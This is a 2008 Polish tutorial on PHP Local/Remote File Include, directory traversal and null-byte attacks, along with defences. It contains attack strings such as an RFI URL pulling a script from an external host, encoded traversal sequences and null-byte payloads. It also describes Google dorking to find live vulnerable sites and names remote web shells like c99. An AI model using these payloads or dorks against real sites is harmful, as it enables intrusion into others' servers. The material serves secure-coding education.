Praktycznie każdy dynamicznie generowany system oparty o rozwiązania dostępne w celu tworzenia aplikacji internetowych działa na zestawie katalogów, a skrupulatniej pisząc także podkatalogów. Operowanie na nich, np. w celu wczytania danego języka czy plików szablonów poprzez użycie danych pochodzących od użytkownika może być przyczyną niemałego problemu. Local File Include, Remote File Include, czy Directory Traversal to fachowe nazwy błędów na które przez niedostateczne zabezpieczenie skryptu możemy być narażeni.

Zarys teoretyczny...

Obydwa typy ataków (zwane razem po prostu Include File Injection) są przykładami ogólnie rozumianego Code Injection, czyli wstrzykiwania niedozwolonego kodu. Prócz nich do grupy tego typu luk należą m.in. PHP/ASP Injection, SQL Injection, czy Shell Injection które dokładniej przedstawię w kolejnych artykułach o zabezpieczeniach.

O czym zaraz będziecie mogli się przekonać, na pierwszy rzut oka ataki te są podobne do opisywanej już przeze mnie luki AFD, a wszystko przez fakt możliwości wykorzystania błędu poprzez specyficzne dane wprowadzane przez użytkownika. Ich stopień niebezpieczeństwa można wyrazić przez prosty fakt, że nie tylko zagrażają one danemu, podatnemu na nie serwisowi, ale także w niektórych przypadkach całemu serwerowi. Dzieje się tak z powodu możliwości załadowania dowolnego pliku na serwerze ofiary, bądź w zależności od konfiguracji serwera także pliku z serwerów zewnętrznych poprzez dziurawy skrypt.

Przyczyny tworzenia bugów...

Obydwa błędy dotyczą funkcji PHP odpowiedzialnych za wczytywanie plików na stronie. Mowa tu np. o include(), include_once(), require(), require_once(), fopen() (a co za tym idzie także fread()), file(), czy file_get_contents().

Dwa poniższe, teoretyczne przykłady zobrazują Wam jak prosto można stać się ofiarą własnej naiwności, niewiedzy.

Kod ten domyślnie mógłby być przez jakiegoś laika używany do zapisywania w cookies języka użytkownika wraz z możliwością jego dynamicznej zmiany poprzez parametr tablicy GET skryptu. Niestety brak jakiegokolwiek filtrowania pozwala co lepiej kombinującemu użytkownikowi na manipulowanie i wartością parametru, i zawartością ciasteczka odpowiadającego za przetrzymywanie języka użytkownika.

Przeanalizujmy metodykę działania tego pseudoskryptu:

Niby wszystko ok. Co jednak, jeżeli dokonamy edycji ciasteczka, bądź zmienimy nasz parametr w sposób podobny do http://inna_strona.eu/exp.txt?? Wywołamy z zewnętrznego serwera skrypt o rozszerzeniu txt. Tak oto otrzymaliśmy prosty przykład RFI. Po co ten znak zapytania na końcu? W celu uznania za parametry wszystkiego co znalazłoby się za nim w naszym adresie po przepuszczeniu w danej funkcji PHP (działa to tylko w przypadku RFI i zależne jest od stosowanej funkcji operującej na pliku), a także w celu uruchomienia danego pliku na serwerze ofiary. W naszym przypadku wynikiem będzie:

Drugi przypadek może symbolizować prosty system wczytywania podstron. Przykład może pozornie być uważany za bezpieczny z racji zastosowania switch. Niestety w wypadku jeżeli żaden z jego warunków nie zostanie spełniony w default może zostać wykonany praktycznie dowolny kod.

Podobnie jak w pierwszym przykładzie także tutaj możemy spreparować link, tym razem np. w taki sposób, aby uzyskać LFI.

Skorzystanie z takiego odnośnika spowoduje wywołanie pliku hasla.txt z głównego katalogu serwisu. Nie trzeba długo myśleć, że w taki sposób można mieć dostęp do każdego niezabezpieczonego pliku na serwerze w tym do będącego najczęstszym przykładem /etc/passwd.

Directory Traversal (DA)?

W powyższych przykładach nie wspomniałem nic o Path Disclosure, bo tak inaczej można nazwać Directory Traversal. Pozwala ono na otrzymanie dostępu do plików źródłowych lub ujawnienie innych zasobów znajdujących się na lokalnym serwerze. Manipulując żądaniami podobnie jak w przypadku Local File Include możemy otrzymać niepowołany dostęp do w.w. zasobów poprzez np. domyślne odwoływanie się do plików szablonów, czy podstron danego serwisu. To czyni z DA synonimiczny typ ataku do wspomnianego przed chwilą LFI.

Poison Null Byte jako panaceum na ominięcie zintegrowanych rozszerzeń...

Wspomniałem powyżej, że znak zapytania na końcu wywoływanego, spreparowanego kodu powoduje w niektórych przypadkach pozbycie się wbudowanego w skrypt rozszerzenia - o ile takowe istnieje. W praktyce działa to tylko w funkcjach sczytujących zawartości plików zewnętrznych, takich jak np. wspomniane file(args);. Nie zadziała to jednak już np. w przypadku integralnie wczytującego include(arg);.

Nasuwają się więc od razu pytania jak sobie poradzić z tym problemem? Czy jest jakiś uniwersalny sposób na przełamanie tego niekiedy przypadkowego zabezpieczenia? Jest i nazywa się Poison Null Byte, czyli atak z użyciem bajtu zerowego. Inaczej mówiąc jest to zerowy metaznak w postaci jednej z dwóch następujących form: %00 lub %2500. Drugą z nich używa się w wypadku kiedy strona zabezpieczona jest przed pierwszą. Zamieniamy w nim po prostu % na jego szesnastkowy odpowiednik w kodzie ASCII, czyli %25. Po dodaniu takiego "pustego" znaku automatycznie przekazujemy do skryptu zakończenie danego ciągu (nakazujemy obcięcie reszty znaków), przez co wszystko co po nim występuje jest automatycznie ignorowane przez parser PHP.

Należy pamiętać, że w PHP poniżej wersji 6.0 przy włączonym ustawieniu "magic_quotes_gpc = On" zostanie automatycznie przeprowadzona filtracja tego typu ataku. Sama luka wykorzystywana jest zawsze w połączeniu z tytularnymi bugami opisywanymi w tym artykule.

Kiedy jesteśmy narażeni na włamanie?

• kiedy "magic_quotes_gpc = Off" (php.ini) (brak filtracji bajtów zerowych z poziomu ustawień PHP), bądź kiedy nie używamy addslashes lub mysql_real_escape_string dla poleceń MySQL,
• gdy dyrektywa "register_globals = On" (php.ini), z racji tworzenia z parametru tablic superglobalnych GET/POST/COOKIES zmiennej o nazwie tegoż argumentu. Przykład:
  http://strona.pl/index.php?page=http://inna_strona.eu/exp.txt

  Utworzy w skrypcie automatycznie zmienną o następującej wartości:

  $page = 'http://inna_strona.eu/exp.txt';
• w momencie gdy "allow_url_fopen = On" (php.ini) i/lub "allow_url_include = On" (php.ini dla funkcji include(arg);, require(arg);, include_once(arg);, require_once(arg); PHP od wersji 5.2) które pozwalają na pobieranie w funkcjach operujących na plikach zasobów z zdalnych serwerów lub w momencie kiedy nie blokujemy takiej możliwości bezpośrednio z poziomu skryptu,
• kiedy nie zachowujemy podstawowych zasad zachowania bezpieczeństwa w skrypcie w tym wypadku dotyczących ograniczenia korzystania z plików w danych katalogach, o danych rozszerzeniach opierając się o regułę ograniczonego zaufania.

Zagrożenie ze strony modyfikacji kodowania adresu URL...

Skupmy się na chwilę na samych parametrach skryptu, czyli na Query String'u. Analizując metody zabezpieczeń często zapomina się o filtracji zakodowanej formy adresu na której działanie część serwerów jest narażonych.

Tak więc ../ dla przykładu w heksadecymalnym kodzie ASCII posiada odpowiednik w postaci ciągu %2e%2e%2f. Należy zabrać pod uwagę także mieszane formy poprzedniego wzorca, jak np. ..%2f, %2e%2e/, a także formy zgodne z UTF-8 - czyli dla przykładu ..%c0%af. Poniżej przedstawiam tabelę części znaków i ich szesnastkowych odpowiedników ASCII.

Celem ogólnym tego paragrafu jest zaprezentowanie przeze mnie rzadkich, ale niekiedy możliwych do przeprowadzenia metod w.w. ataków za pomocą użycia procentowych, zakodowanych odpowiedników znaków. Uogólniając należy wyjść naprzeciw temu problemowi poprzez usystematyzowanie formy danych wejściowych na jednolite, najlepiej najbliższe ludzkiemu oku - czysto znakowe.

Jak się zabezpieczyć?

Na początek można odwrócić wartości dotyczące konfiguracji php.ini które podałem w paragrafie "Kiedy jesteśmy narażeni na włamanie?". Nie mniej jednak "allow_url_fopen = Off" może być niepowołane w przypadku skryptów docelowo korzystających z jakiegoś zewnętrznego zasobu (np. z danych jakiegoś trackera), a "magic_quotes_gpc = On" pomimo, że automatycznie przeprowadza pewien poziom filtrowania to nie jest przeze mnie zalecane z powodu kreowania w webdeveloperze złych nawyków. Reszta zmian jest jak najbardziej wskazana.

Jeśli chodzi już o zabezpieczenia z poziomu skryptu to oprę się o dwa na początku artykułu wymienione przykłady.

Na drugim z nich zaprezentuję sposób najbardziej banalny, gdyż ładujący dane za pomocą ID (oparty o wbudowaną listę plików, choć można to oczywiście zrobić na podstawie np. bazy danych).

Przykład banalny i za pewnie przydatny tylko w przypadku małych i prostych skryptów. Wypadałoby go zautomatyzować i na tym będzie się opierał pierwszy przerobiony z wyżej opisanych, niezabezpieczonych kodów.

Oprzemy się tutaj na użyciu funkcji basename() (w celu wyodrębnienia nazwy pliku z całego ciągu), addslashes() (dodaj znaki unikowe), urldecode() (dla zakodowanych procentowych form znaków) oraz html_entity_decode() (aby pozbyć się encji). Przykład zabroni całkowicie pobierania z zewnętrznych serwerów. Jeśli jednak skrypt wymagałby tego to należy zabronić użytkownikowi podawania adresu do takowego pliku i po prostu umieścić jego adres na stałe w skrypcie. Ważnym jest też fakt, aby pamiętać, że jeśli ten zdalny plik nie leży na jednym z zarządzanych przez nas serwerów to musimy liczyć się z tym, iż jego zawartość może zmienić się na przeznaczoną do dokonania włamania. Bezwzględnie powinno się filtrować także zawartość takich plików!

Bo człowiek najlepiej uczy się na przykładach...

Szukać opisywanych błędów można w podobny sposób jak w temacie o Arbitrary File Download (w slangu tzw. dorki). Pomijając pisane do tego specjalnie skrypty/programy, za pomocą wyszukiwarki. Frazeologia także nie różni się tak bardzo. Opieramy po prostu wyszukiwanie na parametrach skryptu pod którymi może występować luka, takimi jak f=, file=, site=, page=, czy plik=.

Tak mogłyby wyglądać frazy wyszukiwania Google. W tym ostatnim wypadku zawężamy wyszukiwania do domen o rozszerzeniu .pl oraz wyszukujemy w nich jedną z dwóch podanych nazw parametrów plików php. Oczywiście nic nie stoi na przeszkodzie, aby przerobić to zapytanie na bliższe własnym potrzebą.

Inny sposobem na wyszukiwanie tego typu błędów jest wpisywanie fraz związanych z ostrzeżeniami funkcji na których luka się opiera (takich jak require(), file(), czy inne wymienione w drugim paragrafie). Niestety jest to metoda zawodna, gdyż nie każda tego typu informacja zwracana w skrypcie jest wykładnikiem błędu i nie zawsze są one także indeksowane przez wyszukiwarki. Można je jednak niekiedy użyć z wcześniej wymienionym sposobem w celu zwiększenia prawdopodobieństwa, że wykryty przez nas domniemany błąd jest nim naprawdę.

Największe prawdopodobieństwo trafienia na podatny kod ostrzeżenie na stronie powinno wyglądać mniej więcej jak to (należy zwrócić uwagę na rozszerzenie otwieranego pliku oraz rodzaj funkcji wczytującej pliki):

W taki oto sposób, po ciut przypadkowych poszukiwaniach otrzymałem przykład nieodpowiednio zabezpieczonego skryptu.

Link z pierwszej strony wyników. Dla pewności sprawdziłem występowanie luki poprzez jeden z krążących po internecie programów do ich wykrywania (po czym przetestowałem ponownie napisanym przeze mnie skanerem - jest to wersja rozwojowa więc może mieć ciut błędów - wymaga minimum .NET Framework 2.0 - więcej w komentarzach). Rezultat pozytywny - "mission completed"

Pewnie niektórzy drapią się z Was po głowie, dlaczego ten punkt opisałem "po łebkach". Wszystko ze względu, że metodologia wykrywania tego typu bugów jest praktycznie taka sama jak w przypadku poprzednio opisywanej przeze mnie problematyki zabezpieczeń (wspomniane już dwukrotnie AFD).

I na koniec przykładowy link działania zewnętrznego shella (skrypt wykonywany zdalnie - z innego serwera - przykładami są: r57.php, s72.php, czy c99.php) wobec RFI, już bez zbędnego opisu. Jak zwykle zaznaczam także, że wszelkie przykłady zamieszczone w tymże, a także w kolejnych artykułach są na zasadach edukacyjnych. Proszę nie wykorzystywać ich do jakiegokolwiek niszczenia prac autorów zamieszczonych tu stron!

Jeśli ktoś chce zobaczyć konstrukcję shellów to zapraszam na utnij.eu, gdzie w statystykach skróconych ostatnio odnośników można znaleźć wiele tego typu skryptów, co jest wynikiem prób jakiś osobników shackowania tego serwisu. Jak na razie bezowocnych... na szczęście...

copyright © 2008, m1chu

udostępnione na licencji CC dla vivee.info i m1chu.eu